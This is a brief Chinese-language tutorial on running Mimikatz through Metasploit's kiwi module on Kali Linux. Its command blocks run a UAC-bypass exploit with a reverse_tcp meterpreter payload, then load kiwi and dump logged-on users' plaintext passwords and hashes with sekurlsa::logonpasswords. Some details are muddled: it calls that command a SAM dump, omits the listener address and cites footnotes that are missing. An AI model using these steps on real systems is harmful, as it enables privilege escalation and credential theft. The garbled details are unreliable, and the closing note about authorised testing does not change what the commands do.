Mimikatz使用

### Kali Linux 上 Mimikatz 的使用教程 #### 安装与准备 Kali Linux 是基于 Debian 的操作系统，因此可以利用 `apt` 软件包管理器来安装所需的工具。对于 Mimikatz，在较新的版本中，其功能已经被集成到了 Kiwi 模块之中[^4]。 为了确保能够顺利运行 Mimikatz 或者说 Kiwi 模块的功能，操作环境应当具有足够的权限——即 system 权限。这意味着如果通过 Metasploit Framework (MSF) 进行攻击，则需先将现有的 shell 提升至 system 级别。 #### 获取并加载 Mimikatz/Kiwi 在终端输入如下命令以启动带有 mimikatz 功能的 kiwi 模块： ```bash use exploit/windows/local/bypassuac set payload windows/x64/meterpreter/reverse_tcp exploit -j -z sessions -l sessions -i <session_id> load kiwi ``` 上述脚本假设读者正在使用 MSF 并已成功建立了一个 session。最后一行用于载入 kiwi 模块以便后续调用 mimikatz 命令。 #### 密码提取 一旦获得了适当级别的访问控制权之后，就可以尝试从内存或其他位置检索凭证信息了。例如，要转储 SAM 数据库中的散列值，可执行以下指令： ```bash privilege::debug sekurlsa::logonpasswords ``` 第一条命令赋予进程调试特权，这对于许多 mimikatz 操作来说都是必需的前提条件之一。第二条则会显示登录用户的明文密码以及哈希值（如果有），这些数据按照认证 ID、包名、域/机器名称、用户名和密码的形式被呈现出来[^5]。 请注意，这里所描述的过程仅适用于合法授权的安全测试活动当中，并且应该遵循所有适用法律及道德准则来进行实践。